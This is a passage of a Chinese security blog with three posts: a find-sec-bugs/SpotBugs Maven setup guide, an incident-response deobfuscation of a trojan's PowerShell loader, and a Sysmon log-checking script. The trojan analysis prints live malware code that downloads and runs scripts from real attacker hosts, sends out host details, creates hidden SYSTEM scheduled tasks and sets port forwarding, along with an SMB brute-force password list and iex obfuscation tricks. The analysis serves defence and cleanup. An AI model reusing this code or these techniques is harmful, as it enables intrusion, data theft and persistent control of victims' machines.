在Maven下初识find-sec-bugs

发布时间:April 21, 2019 // 分类:开发笔记,代码学习,windows,代码审计 // No Comments

最近拿到了几个JAVA的程序需要看,无奈不懂得JAVA,在全球最大的同性恋交友网站上看到了一个神奇的工具find-sec-bugs,介绍说Find Security Bugs是SpotBugs插件,用于Java Web应用程序的安全审核。在它的主页上看到了支持N多漏洞和支持好多的框架。还与各种IDE集成插件。


说了这么多,这个其实就是一个类似于支持OWASP TOP10的代码检查的工具,各种IDE上可以集成插件支持。

刚好手里面有一个Eova快速开发框架的源码,同时提到了需要Maven

Maven的安装和必要配置:

#1下载Maven
maven-x.x.x下载: (推荐使最新的版本)
apache-maven-x.x.x-bin.zip
下载其它版本:
http://maven.apache.org/download.cgi

#2 添加Maven环境变量
添加新的系统环境变量MAVEN_HOME, 并设置其值为你安装的目录
MAVEN_HOME=D:\maven\apache-maven-3.5.0
更新系统PATH 变量, 添加;%MAVEN_HOME%\bin;到尾部

#3 测试maven配置是否成功
打开cmd窗口,输入mvn -v,如果有maven 版本信息输出则证明配置成功,否则请查看自己配置路径等是否正确。
C:\Users\Administrator>mvn -v


#4自定义远程仓库地址为国内最快的镜像,否则可能需要翻墙!

好吧,鉴于此。咱们测试一下这个SpotBugs,根据文档使用SpotBugs Maven插件
修改POM.XML,将spotbugs-maven-plugin添加到pom.xml中

<plugin>
  <groupId>com.github.spotbugs</groupId>
  <artifactId>spotbugs-maven-plugin</artifactId>
  <version>3.1.11</version>
  <dependencies>
    <!-- overwrite dependency on spotbugs if you want to specify the version of spotbugs -->
    <dependency>
      <groupId>com.github.spotbugs</groupId>
      <artifactId>spotbugs</artifactId>
      <version>4.0.0-beta1</version>
    </dependency>
  </dependencies>
</plugin>

实际上是在plugins里面找到一处来添加,根据大佬们的提示

            </plugin>
            <plugin>
              <groupId>com.github.spotbugs</groupId>
              <artifactId>spotbugs-maven-plugin</artifactId>
              <version>3.1.11</version>
                <dependencies>
                <!-- overwrite dependency on spotbugs if you want to specify the version of spotbugs -->
                <dependency>
                  <groupId>com.github.spotbugs</groupId>
                  <artifactId>spotbugs</artifactId>
                  <version>4.0.0-beta1</version>
                </dependency>
              </dependencies>
            </plugin>
        </plugins>

然后我本地用的时候还发现一个地方需要修改,就是提示JDK和JAR的问题冲突

<plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.0</version>
                <configuration>
                    <fork>true</fork>
                    <executable>
                            C:\Program Files\Java\jdk1.8.0_201\bin\javac.exe
                    </executable>
                    <source>${jdk.version}</source>
                    <target>${jdk.version}</target>
                    <showWarnings>true</showWarnings>
                    <encoding>${project.build.sourceEncoding}</encoding>
                </configuration>
            </plugin>

然后就是对项目进行编译和扫描

mvn compile -X -e
mvn spotbugs:spotbugs

程序会去拉一大堆的依赖什么的到本地。咱们就等着结束就好了。


扫描的结果一般是放在 target/findbugsXml.xml 这个结果还ky可以用于JENKINS来读取。但是咱们没有那么多的环境,直接上GUI环境看看

mvn spotbugs:gui


还可以具体的看一下是什么问题。

参考

  1. https://github.com/find-sec-bugs/find-sec-bugs/wiki/Maven-configuration
  2. https://spotbugs.readthedocs.io/en/latest/maven.html#add-spotbugs-maven-plugin-to-your-pom-xml
  3. https://www.cnblogs.com/jekaysnow/p/9550094.html

驱动人生某样本分析

发布时间:March 10, 2019 // 分类:运维工作,linux,windows // No Comments

今日某应急中遭遇到了驱动人生木马,对其中对一个powershell脚本进行了分析,发现挺有意思对 。该后门在原本的基础上进行了延伸,除了常规的内网端口扫描,smb弱口令爆破,hash传递攻击还加入了17010漏洞扫描的功能。

利用某大佬的话来说。由于木马是样本都是不落地的方式,核心技术是通过定时计划任务执行powershell代码达到持续控制的目的,因此最先分析powershell代码,了解它做了哪些动作,指定查杀手段。

最初的时候是发现在计划任务里面有一个

powershell" -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=

对其进行解密

echo SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= |base64 -D

IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)%

主要是获取当前的机器名称来匹配http://v.beahh.com/v{name} 。随意构造一个来获取

Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('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')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

需要对这串看不懂的东西进程解密。在powershell里面Invoke-Expression是可以把任何字符都当成PowerShell脚本来执行。确实是创建动态执行的好东西。直接更改Invoke-Expression为Write-Host即可.(有些类似于php里面的万能的echo)

解密出来发现还是被加密了

着重看后面的

Gqw+Gqw{)1- tg- )','
4FX4FX = valfs]gnirGqw+Gqwts[Gqw((b3P) ; [aRray]::reverse( ( VARiABlE (Gqw7XP8Gqw+Gqw0','GqwuCteG::]ytitnedIswodniW.lapicni')).RePlacE(([CHaR]97+[CHaR]99+[CHaR]68),'|').RePlacE(([CHaR]98+[CHaR]51+[CHaR]80),[strING][CHaR]34).RePlacE('0VP',[s
trING][CHaR]36).RePlacE(([CHaR]71+[CHaR]113+[CHaR]119),[strING][CHaR]39)|&((get-varIAblE '*MDR*').NAme[3,11,2]-joIn'')

在powershell里面执行了一次

PS >((get-varIAblE '*MDR*').NAme[3,11,2]-joIn'')
iex

既然是iex就好办了。继续输出Write-Host

4FX4FX = valfs]gnirGqw+Gqwts[Gqw((b3P) ; [aRray]::reverse( ( VARiABlE (Gqw7XP8Gqw+Gqw0','GqwuCteG::]ytitnedIswodniW.lapicni')).RePlacE(([CHaR]97+[CHaR]99+[CHaR]68),'|').RePlacE(([CHaR]98+[CHaR]51+[CHaR]80),[strING][CHaR]34).RePlacE('0VP',[strING][CHaR]36).RePlacE(([CHaR]71+[CHaR]113+[CHaR]119),[strING][CHaR]39)|& Write-Host


仔细观察了半天,发现这个( $eNV:cOmSpec[4,24,25]-JoIN'')里面的env很可疑,应该是一个获取系统环境变量的东西。继续在powershell运行查看是什么

好吧,还是iex.既然是iex就好办了。继续输出Write-Host

4FX4FX = valfs]gnir'+'ts['((") ; [aRray]::reverse( ( VARiABlE ('7XP8'+'0') -VA )) ;
Write-Host ( " $( $ofS ='') " + [stRiNG](( VARiABlE ('7XP8'+'0') -VA ) )+" $( SEt-ITEM 'VariABLE:OFs'  ' ' ) " ) 

执行后明显可以看到一些东西了。比如创建任务和下载东西

但是被混淆了。还需要继续解密。

') -CREplace  'sfl',[CHAR]36 -CREplace '8ex',[CHAR]124 -REPlaCE  'XF4',[CHAR]34-CREplace  'rpK',[CHAR]39 -CREplace([CHAR]104+[CHAR]56+[CHAR]65),[CHAR]92) | .( $ShelLiD[1]+$sHELlid[13]+'X')

主要是这个.( $ShelLiD[1]+$sHELlid[13]+'X')长的太像iex了。只是更改试试

果不其然,还是iex.继续继续输出Write-Host

') -CREplace  'sfl',[CHAR]36 -CREplace '8ex',[CHAR]124 -REPlaCE  'XF4',[CHAR]34-CREplace  'rpK',[CHAR]39 -CREplace([CHAR]104+[CHAR]56+[CHAR]65),[CHAR]92) | Write-Host

执行后成功的拿到了没有混淆的源码

[string]$av = ""
[string]$avs = ""
[string]$log1 = ""
[string]$log2 = ""
[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$avs = (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct).displayName
if($avs.GetType().name.IndexOf('Object') -gt -1){
    for($v = 0; $v -lt $avs.Count; $v++){
        $av += $avs[$v] + "|"
    }
}else{
$av = $avs
}
try{
    if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){
        $av += 'ZDFY'
    }
}catch{}
#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum 100000))
$path = "$env:temp\\ppppp.log"
[string]$flag = test-path $path
try{
$log1 = (Get-EventLog -LogName 'Security' -After (get-date).AddDays(-7) -befor (get-date).AddDays(-3)).length
$log2 = (Get-EventLog -LogName 'Security' -After (get-date).AddDays(-2)).length
}catch{}
$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME + "&log1=" + $log1 + "&log2=" + $log2
if($flag -eq 'False'){
    try{
        $file = "$env:appdata\\Microsoft\\cred.ps1"
        $size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum
        if($size -ne 2997721){
            $url = 'http://27.102.107.137/new.dat?pebb' + $key
            (New-Object System.Net.WebClient).DownloadFile($url,"$file")
            $size2 = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum
            if($size2 -eq 2997721){
                $status = 'add_ok'
                if (([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")){
                &cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\Microsoft\cred.ps1" /F
                }else{
                &cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\Microsoft\cred.ps1" /F
                }
            }else{$status = 'error'}

        }else{      $status = 'old1'        }       New-Item $path -type file   }catch{}}else{$status = 'old2'}
try{    $download = 'http://27.102.107.137/status.json?pebb' + $key  + "&" + $status  + "&" + $MyInvocation.MyCommand.Definition    IEX (New-Object Net.WebClient).DownloadString("$download")}catch{}
try{
    &cmd.exe /c schtasks /delete /tn "\Microsoft\Credentials" /f
}catch{}
[System.Threading.Thread]::Sleep(3000)
Stop-Process -Force -processname powershell

主要的功能是获取当前的mac地址等基本信息,然后检测是不是存在360主动防御服务等类似的防病毒软件。然后下载http://27.102.107.137/new.dat 到本地appdata\Microsoft\cred.ps1。添加计划任务Credentials和\Microsoft\Credentials。

紧接着对http://27.102.107.137/status.json 进行分析,使用同样的方式进行还原。

[string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1)    for($v = 0; $v -lt $avs.Count; $v++){       $av += $avs[$v] + "|"   }}else{$av = $avs}try{  if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){       $av += 'ZDFY'   }}catch{}$path1 = "$env:temp\\ddd.tmp"[string]$ddd = test-path $path1$status = 'problem'$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME + "&kill=" + $tkill + "&status="if($av.IndexOf("ZDFY") -ne -1){  $status = 'ZDFY'}elseif(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") -and ($ddd -eq 'False')){   try{        New-Item $path1 -type file      $url = 'http://27.102.107.137/ddd.png?p=ddd' + $key     $pname = -join ([char[]](97..122) | Get-Random -Count (Get-Random -Minimum 4 -Maximum 8))       $pnamepath = $pname + '.exe'        $pnamepath = "$env:SystemRoot\" + $pnamepath        $wc = New-Object System.Net.WebClient       $wc.DownloadFile($url, $pnamepath)      $status = 'error'       $dsize = (Get-ChildItem $pnamepath -Force -recurse | Measure-Object -property length -sum).sum      if($dsize -eq '1634984'){       &cmd.exe /c schtasks /create /ru SYSTEM /sc MINUTE /mo 30 /st 07:00:00 /tn "\Microsoft\Windows\Location\$pname" /tr "$pnamepath" /F     $status = 'addok'       }   }catch{}}elseif($ddd -ne 'False'){  $status = 'old'}else{   $status = 'Low'}New-Item $path1 -type filetry{  $download = 'http://27.102.107.137/ddd.json?p=ddd' + $key + $status IEX (New-Object Net.WebClient).DownloadString("$download")  &cmd.exe /c schtasks /delete /tn "\Microsoft\Credentials" /f}catch{}

利用同样的方式还原了http://27.102.107.137/new.dat

其中的一个base64里面包含了添加任务和端口策略的脚本

cmd.exe /c netsh.exe firewall add portopening tcp 65533 DNS&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn  "\Microsoft\windows\Bluetooths" /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AZQBiAD8AMwAyACcAKQA=

cmd.exe /c netsh.exe firewall add portopening tcp 65533 DNS&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn  "\Microsoft\windows\Bluetooths" /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AZQBiAD8ANgA0ACcAKQA=" /F


然后对10/172/192.168三个段特别上心。不然就访问https://api.ipify.org/ 获取公网Ip进行扫描
自带的弱口令

WmicUSER = @("administrator")
allpass = @("123456","password","PASSWORD","football","welcome","1","12","21","123","321","1234","12345","123123","123321","111111","654321","666666","121212","000000","222222","888888","1111","555555","1234567","12345678","123456789","987654321","admin","abc123","abcd1234","abcd@1234","abc@123","p@ssword","P@ssword","p@ssw0rd","P@ssw0rd","P@SSWORD","P@SSW0RD","P@$$w0rd","P@$$word","P@$$w0rd","iloveyou","monkey","login","passw0rd","master","hello","qazwsx","password1","qwerty","baseball","qwertyuiop","superman","1qaz2wsx","fuckyou","123qwe","zxcvbn","pass","aaaaaa","love","administrator")

内置了17010漏洞扫描

主要是学会了学会了不同的iex写法

PS C:\Users\Administrator\Desktop> ((get-varIAblE '*MDR*').NAme[3,11,2]-joIn'')
iex
PS C:\Users\Administrator\Desktop> ( $eNV:cOmSpec[4,24,25]-JoIN'')
iex
PS C:\Users\Administrator\Desktop> ( $ShelLiD[1]+$sHELlid[13]+'X')
ieX
PS C:\Users\Administrator\Desktop> $pname = -join ([char[]](97..122) | Get-Random -Count (Get-Random -Minimum 4 -Maximum 8))
PS C:\Users\Administrator\Desktop> $pname
wvhni
PS C:\Users\Administrator\Desktop> ((vaRIABlE '*MDR*').NAme[3,11,2]-JoIn'')
iex
PS C:\Users\Administrator\Desktop> .( $pSHoME[4]+$pshOME[34]+'X')

cmdlet Invoke-Expression at command pipeline position 1
Supply values for the following parameters:
Command: .( $pSHoME[4]+$pshOME[34]+'X')
PS C:\Users\Administrator\Desktop> ( $pSHoME[4]+$pshOME[34]+'X')
ieX

相关的计划任务差不多齐了,清理掉

schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn  "\Microsoft\windows\Bluetooths" /tr 

schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn  "\Microsoft\windows\Bluetooths" /tr 

schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\Microsoft\cred.ps1"

schtasks /create /ru SYSTEM /sc MINUTE /mo 30 /st 07:00:00 /tn "\Microsoft\Windows\Location\$pname" /tr "$pnamepath" /F

需要清理掉相关文件如下

\AppData\Roaming\sign.txt
\AppData\Roaming\flashplayer.tmp
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FlashPlayer.lnk
%systemroot%\xxx.exe[xxx为随机数]`[-join ([char[]](97..122) | Get-Random -Count (Get-Random -Minimum 4 -Maximum 8))]`

提供解密后的部分下载
new.dat
status.json
v

windows进程监控之恶意识别

发布时间:January 11, 2019 // 分类:开发笔记,工作日志,linux,python,windows // No Comments

前不久更新了针对windows下命令记录的种种,并利用beat对系统进行监控。达到了利用winlogbeat来发送sysmon记录的日志到logstash.采用elk进行统一展示的过程。这些主要的目的就是收集所有的日志,但是还缺少对日志的进一步分析。因此对这个想法做了一个简单的demo

PS:现场部署以后会发现大量的数据写入es的时候会超时,导致数据写入不完整。想着在中间放一个中间件来缓冲一下写入的频率.这里选择来kafka来实现

简单的数据拉取

import time
from elasticsearch.exceptions import TransportError
from elasticsearch import Elasticsearch
from units import match_rule

es = Elasticsearch()

"""
ssh -CfNg -L 9200:127.0.0.1:9200 root@192.168.0.xxx
ssh -CfNg -L 5601:127.0.0.1:5601 root@192.168.0.xxx
"""
index = 'windowsevt*'

query = '''{
       "query":{
            "bool":{
                "must":[
                    {
                        "match":{
                            "source_name":"Sysmon"
                        }
                    },
                    {
                        "term":{
                            "event_id":1
                        }
                    }
                ]
            }
        },
      "sort":{
            "@timestamp":{ 
                "order":"asc"
            }
        },
    "from": 0,
    "size": 20
}'''
try:
    resp = es.search(index, body=query)
    total = resp['hits']['total']
    print total
    for item in resp['hits']['hits']:
        print match_rule(item['_source']['event_data'])
except TransportError as e:
    print(e.info)

当把数据从es拉出来以后需要从三个维度进行分析(hash,命令和进程产生网络)

利用hash进行匹配,默认记录的是sha1,但是加载了配置文件后改成了md5/sha256.主要依靠的是第三方的一些平台来进行匹配。分别采了ti.360.net和s.threatbook.cn两个。但是发现360对相关的搜索有限制(但是提供了api搜索,不过没有找到),微步还好一些(提供api搜索和爬虫两种)。最后采用了微步的搜索结果。

class Threatbook(object):

    def __init__(self,hashes,method):
        self._hash = hashes
        self._method = method
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'application/json, text/javascript, */*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'Cookie': 'session=cookies',
            'Origin': 'https://s.threatbook.cn',
            'Content-Type': 'application/json',
            'Cookie': 'cookies'
        }
        self.webu = {
            'malicious':'检测为恶意文件', 
            'suspicious':'提示为可疑文件', 
            'clean':'文件暂未发现可疑'
        }


    def get_result_api(self,sandbox_type,sha256):
        url = 'https://s.threatbook.cn/api/v2/file/report'
        data = ("apikey=apikey&sandbox_type={sandbox_type}&sha256={sha256}").format(sandbox_type=sandbox_type,sha256=sha256)
        #print data
        response = requests.get(url+"?"+data,timeout=30,verify=False)
        content = json.loads(response.content)
        return json.dumps(content['data']['summary'])

    def get_result(self):
        item = {}
        url0 = "https://s.threatbook.cn/api/v3/webpage/search"
        url1 = "https://s.threatbook.cn/api/v3/webpage/summary/{sha256}"
        url2 = "https://s.threatbook.cn/api/v3/webpage/static/{sha256}"
        url3 = "https://s.threatbook.cn/api/v3/webpage/sandbox/{sha256}"
        data = '''{"method":"md5hases"}'''
        try:
            resp0 = self._request.post(url0,data=data.replace('md5hases',self._hash).replace('method',self._method),headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            info = ""
            try:
                if "multi_engines" in str(content0['data']):
                    item["multi_engines"] = content0['data'][0]["multi_engines"]
            except:
                pass
            try:
                if "judgment" in str(content0['data']):
                    item["judgment"] = content0['data'][0]["judgment"]
            except:
                pass

            for xfile in content0['data']:
                info = xfile['sha256'] + "-"+ xfile['sandbox_type']

            if len(info)==0:
                return item

            url1 = url1.format(sha256=info)
            url2 = url2.format(sha256=str(info.split('-')[0]))
            url3 = url3.format(sha256=str(info))

            resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            content1 = json.loads(resp1.content)
            tables = content1['data']
            tagx = []
            for table in tables:
                if table == "threat_level":
                    item[table] = self.webu.get(tables[table])
                elif table == "tag":
                    for name in tables[table]:
                        tagx.extend(tables[table][name])
                    item[table] = list(set(tagx))
                else:
                    item[table] = tables[table]
            resp2 = self._request.get(url2,headers=self._headers,timeout=30,verify=False)
            content2 = json.loads(resp2.content)
            basics = content2['data']['basic']
            for basic in basics:
                item[basic] = basics[basic]

            resp3 = self._request.get(url3,headers=self._headers,timeout=30*2,verify=False)
            content3 = json.loads(resp3.content)
            iocs = content3['data']['ioc']
            if len(iocs)>0:
                item["ioc"] = iocs
            mtasg = []
            for iocx in iocs:
                mtasg.extend(iocx['tag_list'])
            if len(list(set(mtasg)))>0:
                item["ioctag"] = list(set(mtasg))
            return json.dumps(item)

        except Exception as why:
            print "error",why
            traceback.print_exc()

这里还可以对文件hash做一个去重查询的处理,一旦确定某些文件的hash是正常的就没有必要调用查询接口,还可以节省资源。

匹配参数进程信息。主要是针对一些探测类的命令。这种命令不是恶意进程,是系统自带的一些。因此对其增加规则来达到检测恶意命令的匹配。

(这里采取regex和match两种方式,因此在match的时候误报率有点高)一旦匹配上就输出可以信息

def match_rule(event_data):
    hashes = event_data['Hashes']
    if "," in hashes:
        Hashe = hashes.split(',')[0]
    else:
        Hashe = hashes
    method,nhashes = str(Hashe.split('=')[0]).lower(),str(Hashe.split('=')[1]).lower()
    ti = Threatbook(nhashes,method)
    print ti.get_result()
    for name in event_data:
        if name in ["ParentCommandLine","CommandLine","Image","ParentImage"]:
            result = check_rule(event_data[name])
            if len(result)>0:
                print name,event_data[name],json.dumps(result)

网络地址匹配主要是根据event_id为3的网络进程来实现的。这里弄了好久,只能用一个受限制的地址来实现

class Venuseye(object):
    def __init__(self,ip):
        self._ip = ip
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'X-Requested-With': 'XMLHttpRequest',
            'Referer': 'https://www.venuseye.com.cn/ip/',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
        }

    def get_ip_res(self):
        item = {}
        url = "https://www.venuseye.com.cn/ve/ip"
        data = "target="+str(self._ip)
        try:
